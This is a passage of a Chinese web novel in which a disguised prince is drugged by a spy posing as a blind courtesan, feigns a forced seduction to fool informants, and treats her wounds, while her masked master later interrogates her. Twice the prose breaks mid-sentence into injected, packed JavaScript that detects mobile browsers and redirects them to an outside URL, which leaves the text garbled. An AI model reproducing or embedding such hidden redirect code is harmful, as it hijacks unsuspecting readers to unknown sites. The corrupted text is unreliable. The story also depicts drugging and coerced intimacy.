沈烁最是看不上动不动哭哭啼啼的弱女子,见殿下似乎有些心软,立刻主动提议:“大人,将她交给我,不出一个时辰,我保证让她把幕后主使和下药目的交代的一清二楚。” 药效愈演愈烈,燕绥之双眼通红,身下痛/胀,他第一次对背叛者心软,给云潋退路。 “说出来,我饶你不死。” 云潋这才哭出声来,怯懦地开口:“王大人说,您不肯梳拢我,就是不喜我伺候,留我无用。若是今日您再不肯收下我,明日一早就将我发卖到腌臜地去做低等妓子。” 燕绥之眉头紧锁,依旧恼怒,恨铁不成钢道:“所以你就想出下药这种昏招?” 云潋不顾侧颈锋利的刀刃,缓缓从凳子上起身,扶着桌子跪倒在地,膝盖好巧不巧地跪在破碎的瓷片上,瞬间鲜血渗出。 血色惹眼,燕绥之下意识去搀扶,却被楚执阻拦,示意他听完再说。 “嬷嬷给我药粉,示意我悄悄放在茶盏中给大人服下。” 沈烁恼怒,追问道:“她让你做你就做,你是没有脑子吗?” 云潋早就聊到会被如此诘问,羞愧地垂下头,眼泪落在剑身上,晶莹剔透的泪珠顺着剑刃缓缓滑落。 “我的身契攥在刘大人手中,入御史府后,时刻有人监视我,操纵我们主仆。我身份卑微,又无依无靠,我不敢不从。可大人昨晚如此厚待我,我不想恩将仇报。因我不知这药是否会损伤裴大人的身体,便想着将整包药粉倒进去,只要药未完全化开,您定能发觉。谁知......” 楚执在燕绥之的示意下悄悄出屋,唤来今日负责在院内盯着云潋主仆的暗卫。 直到确认下午府中嬷嬷的确进屋许久,暗卫在屋顶偷听时,也确实听到嬷嬷威胁云潋,楚执才神色稍缓。 “嬷嬷给她药粉的事情你没看到?为何不提前来报?” 暗卫自知失职,立刻跪地解释:“主子私下吩咐过,她是女子,只能监听,不能窥视。那嬷嬷没提药的事情,估摸着是偷偷塞给云姑娘的。” 楚执赶走暗卫,悄悄回到房内,对着燕绥之点头。 “起来吧。” 燕绥之早就蠢蠢欲动想要搀扶起跪在碎瓷片上的云潋,刚得到确切回复,就立刻扔下长剑,俯身搀扶云潋起身,将她安置在矮凳上。 云潋抓着燕绥之的衣袖,不停道歉:“裴大人,云潋对您暗中下药,本就罪该万死。我不敢奢求您宽宥,只求您给我个痛快。免得我日后堕入无间地狱,任人欺辱,不得安宁。” 屋内其余三人皆未回答,云潋继续哀求:“云潋死不足惜,可我的丫鬟静梅并不知情。求大人饶她一命,云潋感激不尽!” 言闭,云潋又要下拜。 燕绥之赶紧阻拦,将想要下拜的云潋抱在怀中,宽慰道:“我宽恕你们,别再哭了。” 云潋的眼泪比那催情的药粉还要霸道几分,让本就拼命忍耐的燕绥之越发情动,不自觉伸手抚上云潋柔软的侧脸。 面颊的肌肤皓如凝脂,颗颗饱满的泪水抛珠滚玉。 燕绥之缓缓俯身,逐渐朝着云潋靠近,高挺的鼻尖几次险些碰上她的侧脸。 云潋没想到裴舟望会如此不小心,竟然蠢到轻信一个只有两面之缘的陌生女子,对茶盏中如此明显的药粉都没能及时察觉。 如今裴舟望误服□□,而她刚才那番如泣如诉的表演,难保不会让裴舟望动心,若他顺水推舟,趁着药效强行宠幸她,岂不糟糕! 被□□折磨的已经失了神的燕绥之在云潋耳边轻声呢喃:“你好香啊......” 灼热的呼吸打在脸颊,燕绥之的身躯宽大,将云潋笼罩在阴影之中。 云潋侧过脸躲避燕绥之的靠近,想偷偷一掌打昏他,可现下他的两个亲卫还在屋内,无法轻举妄动,只好试探着唤醒他仅存的理智。 “大人,还是先找个大夫为您瞧瞧吧。” 楚执见情势不妙,怕有违贵妃娘娘嘱托,更怕二殿下真的借着药效宠幸这个来路不明的盲女,平白惹出祸患,赶紧伸手去拉燕绥之。 “大人,我帮您打水降温,您先降降火气,大夫马上就来。” 谁知燕绥之却一反常态,呵斥道:“滚出去!” 云潋已经到了退无可退的地步,撑在矮凳上的双手以十分诡异的姿势坚持着,时间久了,双臂都酸涩地打颤。 沈烁还想做最后的挣扎,急切唤道:“大人!三思啊!” 燕绥之声音越发冰冷:“滚!” 见情势不妙,云潋分出精力哄着燕绥之不要发怒:“裴大人,您冷静些。他们说得有理,您......” 燕绥之一把捂住云潋的唇,揽着她的腰往他怀中拉进几分,眼神痴狂,语气玩味:“你给我下药,不就是想被我梳拢。我顺从你的心意,不好吗?怎么你反倒不愿意了呢?” 屋内气氛瞬间暧昧起来,眼见两具身躯越挨越近,沈烁和楚执无奈的退了出去。 他们二人深知殿下的脾气秉性,殿下看似温润守礼,可骨子里却有着不易被人察觉的癫狂。 一旦他下定决心,便会一条路走到黑,绝不容许他人置喙。 当关门声响起,燕绥之一把将云潋打横抱起,大步流星的朝着床榻走去。 云潋立刻惊慌起来,双眼瞪大,手部暗暗蓄力,手掌刚举到半空,还来不及落在燕绥之的后颈,就被他一把扔进床榻,陷在锦被里。 她还来不及反应,双手便已经被燕绥之扯过头顶,男人宽大的手掌将她的双手死死按在床榻上。 燕绥之一只手按着云潋的双手,另一只手胡乱扯着他宽大的外袍,似是热到极致,彻底失去理智。 云潋剧烈挣扎,却毫无作用,她震惊地睁大双眼,口中疾呼:“裴大人!您清醒一点儿!” 云潋没想到看似柔弱的裴舟望竟然武艺超群,按着她手腕的手力道惊人,她一时不察,竟被他占得先机。 云潋惊慌失措,而燕绥之的眼中尽是痴迷。 怎么会有人连哭泣、惊慌、蹙眉都如此动人,一颦一笑让人心生怜惜。 自诩并不贪恋美色的燕绥之十七年来第一次被动摇,像是被烈火点燃的干柴堆,心中隐隐生出卑劣的恶意,想将身下之人彻底占有、欺负,让她哭号、让她无法逃离。 云潋没想到裴舟望如此难对付,更不知她的哭泣哀求反倒让对方愈发兴奋。 她一遍遍假意示弱哀求,妄图挣脱束缚。 “裴大人,云潋知错了,您饶了我吧......” “裴大人,求您放了我吧!” “唔......” 被捂住嘴的云潋拼命挣扎,她平生最恨欺凌弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156583|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小之人,此刻她暗中决定,打昏裴舟望后,要用银针狠狠刺他穴位,让他终生不举,再难作恶,如此才能消她心中怒火。 屋内的哭号与哀求让人不忍细听,守在门外的楚执和沈烁皆暗自封了几分听力,又吩咐丫鬟们去烧热水,给素来洁癖的殿下备用。 听着门内云潋激烈的哀嚎声,闻讯赶来的嬷嬷满心欢喜。 “您放心,热水一直备着呢,要多少有多少。” 沈烁对这个助纣为虐的嬷嬷十分厌烦,皱着眉挥手赶她。 “你让府中人站远些吧,大人不喜外人伺候。” 被如此厌恶呵斥,嬷嬷也不恼不怒,只一心想着赶紧找王大人讨赏。 “好好好。”嬷嬷一脸谄媚,满口应承,“老奴就不打扰御史大人的好兴致了。” 燕绥之听到嬷嬷离开的脚步声,这才缓缓从云潋身上起身,坐在床边,有些不自在的整理了一下外袍,勉强挡住身下不容忽视的“尴尬”。 云潋习武多年,耳力亦是绝佳,结合燕绥之此刻的反应,这才明白他的良苦用心,她拢好在挣扎间敞开的外袍,假装怯懦地缩进床榻内侧的角落中,胡乱将锦被挡在身前。 屋内瞬间安静下来,燕绥之粗重的喘息声格外清晰。 “抱歉,吓到你了。” 听到燕绥之的道歉,云潋讶然,抿着唇思忖片刻,收起眼底外泄的情绪,继续扮演起怯懦弱小的盲女。 “是云潋行事欠妥,让大人遭罪了。” 云潋的哭声停止,情绪似乎有所缓解,燕绥之这才转身,从怀中掏出锦帕,朝着角落里的云潋缓缓靠近。 燕绥之的双眼通红,似乎依旧被□□粉控制,见他不声不响的朝她靠近,云潋藏在锦被里的手臂瞬间绷紧,随时准备给这个失控的男人来上一掌。 当锦帕覆在侧颈的伤口上时,云潋假装失明的眼睛微不可察的晃动一下,蓄力的手臂卸了力道。 “疼吗?” 为了成为一个合格的暗卫,从七岁起,她就被关在暗无天日的地下牢狱,和一群孩子们同吃同住,只有在练武场,才能短暂窥见一丝天光。 她每日天不亮就起来练武,和同伴对打,赢了吃上一顿饱饭,输了接受惩罚,没有一日不是带着伤痕入睡。 这样的日子过了整整八年,她早已习惯了疼痛。 所以当燕绥之问她疼不疼时,云潋怔愣一瞬,随后轻轻摇头,“不疼。” 燕绥之从袖口掏出一瓶伤药,用手指蘸着药膏,小心涂抹在云潋侧颈的伤口上。 “说谎。”燕绥之掀开锦被,先是脱下云潋的鞋袜,随后小心将她裤腿卷起,当膝盖处狰狞的伤痕暴露在他眼前,燕绥之猩红的双眼里满是疼惜,“痛就喊出来,不必忍着。” 当药粉洒在膝上的伤口处,不可忽视的疼痛瞬间袭来,可云潋依旧不动不喊。 燕绥之有些讶异地抬头打量起云潋的神情,见她神色如常,难得主动提问:“你时常受伤?” 云潋这才意识到自己在不自觉间抽离了如今在扮演的角色,不免会被多疑的裴舟望看出端倪,她赶忙勾唇笑着解释。 “虽是不入流的妓子,可自小也是要学习一些技能,以便来日讨恩客开心。我天生眼盲,学东西总是要慢上一些,不免会被失了耐心的妈妈和嬷嬷们迁怒,对我动辄打骂,或是让我跪地反省。日子久了,次数多了,也就渐渐习惯了。而且......” 燕绥之看着云潋这张温顺的脸,不由得心疼起来,“而且什么?” 见裴舟望上钩,云潋继续说道:“而且我是盲妓,比寻常妓子还要低贱几分。我们要在床榻上满足恩客们不可言说的喜好,所以要更温顺,要能忍痛,要经得起折腾。可这些都非一日之功,所以妈妈从小就教导我们认命,让我们学着忍耐。经年累月,无数手段,才能造就一个这样的我。” 燕绥之抿紧双唇,抓起云潋的手,轻声承诺:“我既来此地,就绝不会让这种不正之风继续下去。” 5. 第 5 章 云潋听到燕绥之的郑重宣言,却沉默良久,转头问他:“您会在宁州停留多久呢?” 不等燕绥之回答,云潋继续说道:“一旬?一月?还是一年?” 燕绥之此行的主要目的是听从父皇旨意——到贺州接大长公主与堂妹回都城小住,参加皇后娘娘的千秋宴。 他早听闻宁州富庶,繁华程度不逊都城,一时兴起主动提议代替堂兄裴舟望来宁州赴任,让堂兄赶去贺州多陪伴家人几日。 一来他久居都城,多年来不曾有机会游历山河,想借机体验下宁州的富庶繁华与市井的烟火气息。 二来宁州近年来多灾多难,明明是富庶的鱼米之乡,当地税收却连年递减,入不敷出,当地官员屡屡借水患、疫病等由头向朝廷求支援。 他深觉其中有鬼,想借此机会一探究竟。 “我虽待不了太久,可定会尽力而为。” 云潋无奈摇头,露出一副果不其然的表情。 “我从五岁起就被卖到别院,跟在陈妈妈身边十二年,别院作为宁州最红火的私人妓馆,培养出无数美人。有人负责在别院接待恩客,有人被卖到富贵人家做妾室通房,也有不少姐妹像我一样被地方官员当作礼物送给同僚。每一次都城来的御史巡查地方,宁州的烟花之地就能安生一阵,可那些官员一走,一切照旧,甚至会更糟。深陷困境的姐妹们无数次满怀期待能脱离贱籍,重获自由,可到头来又是一场空。只有死去,才能彻底解脱。” 燕绥之被□□粉闹得浑身滚烫,可心却随着云潋的话凉了半截。 “大人,您是前途无量的状元郎,是陇西裴氏这一代中最杰出的儿郎。妾信您意气风发,想要主持正义。可宁州官场盘根错节,官官相护,糟心事成千上万。您在时许能镇得住他们,您走后只怕又是一团浑水。这些年巡察御史来了一个又一个,可宁州百姓的日子却一日难过一日。百姓苦贪官恶绅已久,有冤难诉,我等升斗小民,究竟何时才能窥见一线天光?” 云潋这一番话如泣如诉,燕绥之脸颊滚烫,似被人狠狠抽了几个巴掌。 他身为皇子,高居庙堂,十五岁起父皇便下旨命他辅助太子,更是准许他跟在宰相身边学习如何处理地方政务,以便日后能为太子殿下分忧解难。 他身居高位,两年间见过无数张奏折,奏折中地方官员粉饰太平,极尽谄媚。 在他们口中,父皇是圣明君主,太子是天命之子,在父皇的统治下,国泰民安、政通人和,岱国就是五国之中最繁荣昌盛,蒸蒸日上的国家。 可如今他到宁州才短短三日,便亲眼看到过郊外无数沿路乞讨的流民,被欺压送到他身边的盲女,以及宁州官员们的奢靡享乐、碌碌无为。 底层百姓生活的困苦程度,远超他的想象。 燕绥之一脸挫败,声音喑哑:“人站得太高,身边便都是些阿谀奉承之人。他们人人都有私心,都想粉饰太平,害怕被圣上追责,只一心谋取私利。时间久了,被无数赞誉和虚假的谎言欺骗,便更难看清真相。不是圣上不想管,太子皇子不会管,而是这些惨状,真的不曾传回都城。” 云潋知晓裴舟望没有说谎,可偏要逼他一回,哀怨道:“锦衣玉食的王侯公孙,只想着如何维护自己的地位,有几人会真心在意芸芸众生呢?罢了,今日是妾僭越,望大人莫要放在心上。” 云潋冷漠地抽回被燕绥之握住的左手,虽然嘴上说着软话,可举止间却有几分傲然。她整理好染血的裤腿,摸索着朝床头方向爬去,自顾自躺倒在软枕上,背对着燕绥之,和衣而眠。 被云潋劈头盖脸的埋怨,甚至故意挑衅,向来众星捧月、人人敬仰的燕绥之难得没有动怒。 他从床榻上起身,为了帮云潋瞒过明日来查验成果的嬷嬷,直接将沾血的锦帕放在枕头边,出门前小心的为云潋整理好凌乱的锦被,放下床帘,这才轻手轻脚的离开房间。 燕绥之扶着门框缓了许久,见殿下脚步虚浮踉跄,楚执和沈烁赶紧搀扶。 楚执朝屋内瞥了一眼,又转头飞快扫视了一下燕绥之的状态,焦急询问道:“殿下,您没事儿吧?” 燕绥之早就忍到极限,“搞些冰来,我要沐浴。” 耳房内安静至极,燕绥之火烫的身躯泡在冒着寒气的水中,一冷一热,让面红耳赤的男人浑身打颤。 在水中泡了小半个时辰,燕绥之一次次示意沈烁和楚执往水里加冰。 冰水短暂压制住药效,可这种治标不治本的方法终究慢上许多。 苦苦煎熬的燕绥之再次下令:“再加。” 正值盛夏,冰块难寻,这些冰还是他们二人从冰鉴里拿的,现下也所剩无几。 见二殿下还是这般难受,又想到刚才他们二人进屋搬冰鉴时云潋在床榻上睡得安稳。 始作俑者逍遥自在,而被害的殿下却在耳房里泡冰水受苦,为了不让打草惊蛇,替云潋遮掩,殿下连大夫都不让他们请。 沈烁越发气不过,怒气冲冲道:“您这般难受也忍着不碰她,她却不知感恩,对您不闻不问,还兀自睡去。真是个忘恩负义、冷心冷肺的女人!这种寡廉鲜耻之徒,您还是尽早轰出去吧,留在身边也是个祸害!” 楚执性子沉稳,擅于揣度燕绥之的心意,极少主动表达自己的观点,可如今他明明深知燕绥之似乎对这个盲女有几分动心,不该惹他动怒,却第一次主动开口劝解。 “公子,这女子看似弱不禁风、人畜无害,可行事利落,处处算计,甚至不惜自伤求您原谅,让您心软退让。这般口蜜腹剑、别有用心之人,万万不可留在身边呀!” 沈烁和楚执见燕绥之始终紧闭双眼,不肯下定决心,干脆双双跪地请求。 燕绥之缓缓睁开眼睛,语气平静:“人非圣贤,皆有私心。她自小在虎狼窝里艰难求生,若胸中无半点儿成算,如何支撑到现在?今日之事,她也实属无奈,日后不许再提。” 虽然心中不情愿,可沈烁和燕绥之还是无奈应道:“是。” 隔壁正房内的云潋平躺在床榻上,静静听着耳房内的动静,直到主仆三人的对话终止,她朝床榻外侧转身,抓起枕边沾着血迹的锦帕,思忖良久,缓缓闭上眼睛。 第二日一早,一夜未得好眠的燕绥之撑着疲惫的身体从窄小的软榻上起身,听到院子里有动静,立刻抱着薄被走到床榻边,撩开帘子,钻了进去。 为首的嬷嬷带着一群婢女站在门边跟沈烁楚执二人交涉:“不知御史大人可醒了?我等随时可以进去伺候大人洗漱。” 沈烁看着嬷嬷欢喜的脸,没好气道:“还没醒,等着吧。” 云潋被门外 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坐在桌旁的燕绥之盯着云潋看了几眼,随后朝门外唤道:“进来吧。” 嬷嬷带着端来洗漱水和朝食的婢女们鱼贯而入,叮嘱好众人小心伺候御史大人洗漱,随后她亲自凑到床榻便收拾床铺。 当嬷嬷在锦被里发现那条沾血的锦帕,立刻欢喜地笑了,小心翼翼将帕子收到怀中揣走。 嬷嬷再凑到正在进食的云潋面前时,神情愈发谄媚,语气也殷勤许多:“姑娘今日气色真好。” 云潋默不作声,只在静梅的指挥下夹起一个水晶饺咬了一小口,静静嚼着。 嬷嬷见云潋一副疲惫的模样,只当她昨夜伺候御史大人太过劳累,转头对燕绥之问道:“不知御史大人今夜可回府用晚膳?可有什么想吃的?老奴可以让后厨提前备着。” 燕绥之摆出一副宠溺的笑容,“我不挑嘴,让云儿定吧。让后厨备些温补气血的药膳,给云儿补补身子。” 这话语气暧昧似乎意有所指,突然过分亲昵的称呼也让云潋分外别扭,云潋身体僵硬,艰难维持着面无表情,视线僵直的状态,轻声道谢:“多谢大人。” 燕绥之见嬷嬷依旧偷偷打量他们二人,接过婢女递来的湿帕子擦干净嘴巴和手,他热络地拉住云潋的手。 “等我回来一起用晚膳,若是觉得闷在屋里无趣,可以带人在府内四处逛逛。” 云潋乖巧点头,在静梅的搀扶下送燕绥之出了门。 婢女们收拾好餐盘后缓缓退了出去,徒留嬷嬷站在桌前静候,云潋接过静梅递来的茶杯,“嬷嬷还有事吗?” 嬷嬷感激道喜:“恭喜姑娘,贺喜姑娘!姑娘昨夜不负众望,通判大人知道后甚是欢喜,托我送来礼物。” 静梅接过嬷嬷手中的木制托盘,托盘中放着几匹昂贵布料、几支金钗和一条半山水的翡翠镯子。 云潋笑着道谢:“劳嬷嬷替我向大人转告谢意。” 嬷嬷走后,静梅赶紧关好房门,凑到云潋身边,刚想开口,云潋立刻用食指抵住她的唇,轻轻摇头。 静梅会意,赶紧闭上嘴,点头示意云潋她不会多言。 云潋伸手指了指房顶和后墙位置,转而拿出纸笔,写下:可是有什么新的吩咐? 6. 第 6 章 静梅垂下眼眸,握着笔郑重写下:主子在别院等您,传信让我务必将您带回去一趟。 云潋沉默了,她没想到他竟会如此沉不住气,连夜奔袭至此。 静梅找嬷嬷寻了一辆马车,借口回别院取些贴身物品。 嬷嬷虽然并不情愿,却忌惮云潋乃裴舟望新宠,不敢轻易得罪,便派了六个家丁跟着云潋主仆跑一趟,送她们出门时几次三番叮嘱她们尽早回来,以免惹御史大人不悦。 临行前云潋特意换上一身素色衣衫,将自己包裹得严丝合缝。 不同于夜晚的歌舞升平,白日里的别院内分外安静,今日更是因为主子的到来而鸦雀无声。 云潋刚进主屋,房门便被人从门外迅速关上,落下重锁。 云潋身姿笔挺,沉默温顺,根本不敢打断面前抚琴之人的雅兴。 良久,一曲闭。 面带半张玄铁面具的男人缓缓抬头,语气十分亲昵:“来啦。” 男人声音轻柔,态度和缓,可眼神却冰冷彻骨,盯着云潋的眼睛恨不得洞穿她的心。 云潋太熟悉这个眼神,这是主子动怒的前兆,她立刻跪地行礼。 “属下失职,有负主子所托,甘愿领罚!” 男人缓缓起身,走到云潋身前,一把掐住她的脸,认真打量,从她的神情,到她她的身形,许久才阴阳怪气地开口:“你现在是裴舟望的新欢,从不近女色的裴大公子不但为你破戒,还一夜连唤了三次水。你如今飞上枝头,背后有他替你撑腰,我哪敢再罚你。” 云潋摆出一副惊慌模样,赶忙举起三根手指起誓:“我发誓,我不曾与他亲近。他肯顺水推舟的收下我,只是为了麻痹宁州官员,不得不与我逢场作戏。我与他,绝无私情!” “哦?”男人非但没有放心,反倒越发动怒,手掌缓缓向下抚上云潋的颈,待看见她侧颈处新鲜的伤口后,眼神越发犀利,“苦肉计、美人计,你对他倒是十分上心。” 云潋低垂下眼眸,继续狡辩:“情势所迫,为了潜伏下去,属下不得不与他虚与委蛇。” 男人冷哼一声,诘问道:“我让你来宁州,所为何事?” 云潋时刻将任务记在心中,“代替云潋,接近刘大人,查出备份账册及他这些年贪墨下的赈灾银,从他口中撬出官员们的把柄,伺机搅乱宁州官场。” “原来你还记得呀。”男人一把云潋推倒在地,居高临下地看着她,“这些年你做了这么多任务,从未失败过。为何独独这一次不听指挥,肆意妄为?” 云潋立刻从地上爬起来,虔诚地跪在男人面前,焦急解释。 “是刘大人将我送给裴舟望,套用云潋的身份,我根本无力反抗。若是我不肯依从,不仅失了进入刘府的机会,届时云潋这步暗棋就算彻底废了。这些年来您多次想要试着拉拢裴家人,一直不曾成功。如今裴舟望作为巡察御史,有心整顿宁州官场,于我们而言,殊途同归,岂不是千载难逢的好机会?” 男人妒火丛生,不等云潋继续狡辩,便咄咄逼人道:“究竟是为了助我成就霸业,还是你一心想要借着裴舟望的权势逃离我的掌控,你心中一清二楚。” 云潋立刻眼泪翻涌,神情哀切。 “七岁那年,是您将我从乱葬岗中救下,悉心培养至今。救命之恩,没齿难忘。属下曾暗中起誓,此生竭尽所能助您实现心愿,即使赔上性命也在所不惜。这些年属下的所作所为,您想必看在眼中。件件桩桩皆是替您着想,属下行走奔忙,实在不敢有一日懈怠。” 云潋停顿片刻,偷偷观察着男人的神情,见他似乎被旧情打动,干脆拔出袖中藏着的匕首,双手举过头顶。 “身为暗卫,失了主子的信任,和死人无异。既然主子怀疑属下,属下愿以死明志!” 这把匕首乃是三年前男人专门命人为她锻造,匕首上嵌着的红色宝石华贵非常,是他为了庆贺云潋第一次成功完成任务而准备的贺礼。 他犹记得,那时她只有十四岁,身形瘦弱,因为常年不见阳光,皮肤白皙。那一日她以一当十,是同一批暗卫中最快完成任务的人。 暗卫执行任务,向来九死一生,她能毫发无伤的回来,他十分欢喜。 接过匕首,她愣了许久,半晌后才跪地拒绝:“这匕首乃是玄铁所制,世间罕有。这份奖赏太贵重,属下不敢领受。” 那年他十八岁,第一次体会到心动的感觉,屈尊降贵的亲自将她搀扶起身,细心叮嘱:“这把匕首是我的心意,也代表我对你的信任和期许。答应我,每一次都要毫发无伤的回来。” 男人动情地抚上匕首,小拇指划过云潋的掌心,肌肤相接,他呼吸重了半分,为了不泄露心绪,他立刻转过身,覆手而立。 “只此一次,下不为例。” 云潋磕头答谢:“谢主子不杀之恩。” 男人心绪平复,厉声吩咐:“一月为限,届时无论成功与否,你必须回到我身边。” “是,属下明白。” 屋外重锁开启,锁住大门的链条滑过铜环。 云潋好不容易应付完眼前这个阴晴不定的主子,立刻转身朝门外走去,生怕再生波澜。 她的脚刚迈过门槛,身后传来男人急迫的声音:“记住,你是我精心培养的暗卫,不是盲妓云潋。若你敢与他越雷池半步,来日传到我耳中,你知道后果的。” 云潋转身抱拳行礼,“是,属下定会谨记。” 望着云潋毫不留恋的背影,男人神情越发凝重,对刚进屋的下属吩咐道:“派人时刻盯着她,一举一动都要及时向我回禀。” 燕绥之从府衙回来时,云潋正命静梅将放在冰鉴中冰镇的瓜果捞出来制成冰浸果子。 静梅将颜色鲜亮的冰浸果子呈上后,云潋笑脸盈盈道:“大人在外奔波一整日,甚是辛苦,这冰浸果子消暑降温,您快尝尝。” 燕绥之拿起瓷勺,舀起一块冰镇荔枝送入口中,果然冰爽沁人心脾,一整日的暑热之气消了大半,“你有心了。” 云潋垂眸浅笑,“宁州湿热,一到夏日便酷热难耐,大人整日身着厚重的官服四处奔走,妾十分忧心,怕大人不适应宁州气候,身体不适。” 燕绥之见云潋光顾着说话,从坐上餐桌便不曾动筷,忙将桌上盛着冰浸果子的瓷碗放在云潋手中,又将勺子替她摆好。 “我身体强健,倒是无妨。只是你身量纤纤,食量又小,更应该多吃一些。” 云潋满脸感动,语气诚挚:“谢大人挂怀。” 燕绥之盯着云潋许久,见她小口吃着冰浸果子,那画面美好的似一副画卷,不忍打断。 一顿饭的功夫,燕绥之只顾着给云潋夹菜,反倒成了伺候人的那一个。 云潋端着还剩了大半碗菜的瓷碗,嗫嚅着:“我实在吃不下了。” 燕绥之笑着接过碗筷,“好,那就不吃了。天气热,身上汗汗涔涔的,让静梅陪你去耳房内洗漱一下吧。” 云潋被静梅搀扶着起身,对着燕绥之恭敬行礼:“那云潋先告退了。” “好。” 耳房内,静梅帮着云潋仔细洗漱一番,期间一直叽叽喳喳说个不停。 “御史大人待姑娘真好,怕姑娘在府中呆着烦闷,今日出门又给您带回了许多新鲜玩意儿。” 泡在浴桶内的云潋闭着眼,缓解着刚才扮作盲女时酸涩的眼睛,任由静梅继续演戏。 “姑娘,咱们好不容易能离开别院那个虎狼窝,寻到这么好的一位郎君做依靠,真是幸运极了。您自小被圈在别院里,从未有机会出去逛逛。您说,要是咱们跟御史大人提议一下,他会放咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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用完晚膳后,燕绥之屏退屋内的所有丫鬟,隔着屏风,在浴桶内泡了个凉水澡。 洗漱过后,发丝濡湿,燕绥之的身体也松泛不少。 等他从穿戴好后从屏风后出来时,云潋已经在静梅的服侍下梳好鬓发。 此刻云潋不施粉黛,坐在妆奁前,似远山芙蓉,秀色难掩。 意识到身后不断瞥向她的视线,云潋屏退静梅,握着荷包,摆出一副犹豫不决的模样。 “怎么,你有话要跟我说?” 燕绥之走到云潋身前,见她握着荷包,立刻将正在擦拭发丝的帕子仍在桌上,接过荷包,问道:“给我的?” 云潋点头,轻声解释:“妾想起之前未出阁时做过几个荷包,正好可以用来装些驱蚊虫的药粉。今日回到别院取东西,正好寻来赠与大人。荷包针脚粗鄙,布料也一般,还望大人莫要嫌弃。” 燕绥之将荷包举到面前,轻轻嗅了嗅里面的药粉香,又细细打量一番针脚,见针脚密实,花纹精致,想必目不能视的云潋定是费了好大一番心血。 如此用心,他自然珍视。 云潋许久没有听到回应,失落地垂下头,“大人出门,家中肯定早就备下更精致的荷包和常用的药粉,这个还是挂在屋内更妥帖。” 说着,云潋作势要拿回来,却因为不知燕绥之的站位,够东西的动作幅度太大,险些摔下绣墩。 燕绥之用身体接住云潋,伸手抓着她的手臂,眼神晦暗不明。 云潋察觉这个姿势不妥,作势要起身,却被燕绥之牢牢抓住手腕。 “我很喜欢,会日日戴着。” 云潋神情羞怯,脸皮发热,不敢应声。 燕绥之一把将云潋从绣墩上抱起,朝床榻方向走去。 7. 第 7 章 虽然只相处过短短三日,可云潋对裴舟望的脾气秉性已有些许了解,料定他不会做出任何逾矩之事。 云潋被抱起后一直不曾挣扎,反倒故意将头依偎在男人宽阔的胸膛上,摆出一副十足依赖他的姿态。 燕绥之将云潋放在已经铺好的床榻中,转身找出今日命人准备的祛疤伤药,小心翼翼的为云潋侧颈处的伤口上药。 云潋垂下眼眸,对这种温情的瞬间感到几分不自在,“这种小事,以后还是让静梅做吧。” “别躲。” 云潋果然停止向后闪躲的动作,任由燕绥之掀起她的里裤,在膝盖上敷上伤药。 “这伤药能祛疤,你一日不落的用,不出一个月,定会恢复如初,半分伤疤也不会留。” “多谢大人。” 燕绥之的墨色长发尚未干透,略带潮气的发丝不时划过云潋白皙的小腿,生出阵阵痒意。 等燕绥之上完药,将云潋的裤腿整理好,云潋立刻主动提议:“要不,我帮您擦头发?” 似乎意识到这个提议有些暧昧,云潋赶紧解释:“您帮我上药,我也想帮您做些力所能及的事。毕竟......湿着头发睡觉,对身体有害。” 燕绥之收好药瓶,将放在妆奁台上的帕子递到云潋手中,打断她过于苍白的解释。 “那就有劳了。” 燕绥之脱掉鞋子,背对着云潋坐在她面前,静静等着云潋帮他绞干发尾。 云潋的手在前方四处摸索着,试图确认燕绥之和她的距离。 她柔软的手好几次状似无意的触碰到燕绥之苍劲有力的腰肢,引得男人背脊上的肌肉瞬间紧绷。 燕绥之终于忍不住,转身牵起云潋的手,将一缕长发放在她手中,“在这里。” 云潋怯生生回道:“好。” 云潋静静为燕绥之绞干长发,一直不曾说话。 反倒是燕绥之主动开口询问:“你今天出门了?” 云潋手上的动作停顿下来,立刻连连道歉:“妾不该擅自出府,望大人莫要生气。妾只是有些贴身物品落在别院,这才恳求嬷嬷放我回去一趟。以后妾不会再肆意妄为,求大人宽宥。” “别跪,仔细膝上的伤。”燕绥之转身将想要跪拜求饶的云潋拉住,“我不是找你问罪,也不是不准许你出门。我已经将嬷嬷赶走了,日后不会再有人限制你的自由。” 云潋的视线无法聚焦,眼神中展露出几分茫然,“我当真可以随意出府?” “当然。” 泪珠瞬间从云潋的眼睛里滑落,燕绥之手忙脚乱地想要帮她擦拭眼泪,可又不好直接用手,找寻无果,干脆扯起里衣的衣袖,轻柔的为云潋擦拭。 “怎么哭了?可是有人在我不在府邸时欺负你?还是你哪里不舒服?” 云潋抽泣着,一直不肯说话,直到燕绥之想要唤静梅进屋细问时,才轻轻拉住他的衣袖。 “妾只是太高兴。” 燕绥之一脸茫然,实在不懂为何只是一句准许她出府,就值得她如此动容。 “既是高兴,又怎么会哭呢?” 云潋艰难扯起笑容,哽咽着,“大人,妾从五岁起就一直受人管束,陈妈妈从不许我抛头露面。不怕大人笑话,妾至今没有逛过集市,从未见过世间的烟火气。被送到大人身边时,妾就做好了一辈子被圈在后院的准备。可是您......您却护着我,平等的看待我,甚至肯给我自由。妾无比感激,实在无以为报。” 眼见云潋越哭越凶,燕绥之慌乱不已,干脆将她抱进怀中,轻拍着她的背脊安抚。 “以后,有任何愿望都可以告诉我,不要事事都憋在心里。” 云潋窝在燕绥之怀中,拼命点头,死死攥着燕绥之的衣袖。 毕竟是血气方刚的年纪,怀中搂着娇软馨香的女子,燕绥之心猿意马,又怕被云潋发现,见她止住哭声,立刻落荒而逃。 “天色不早了,你早些歇息吧。” 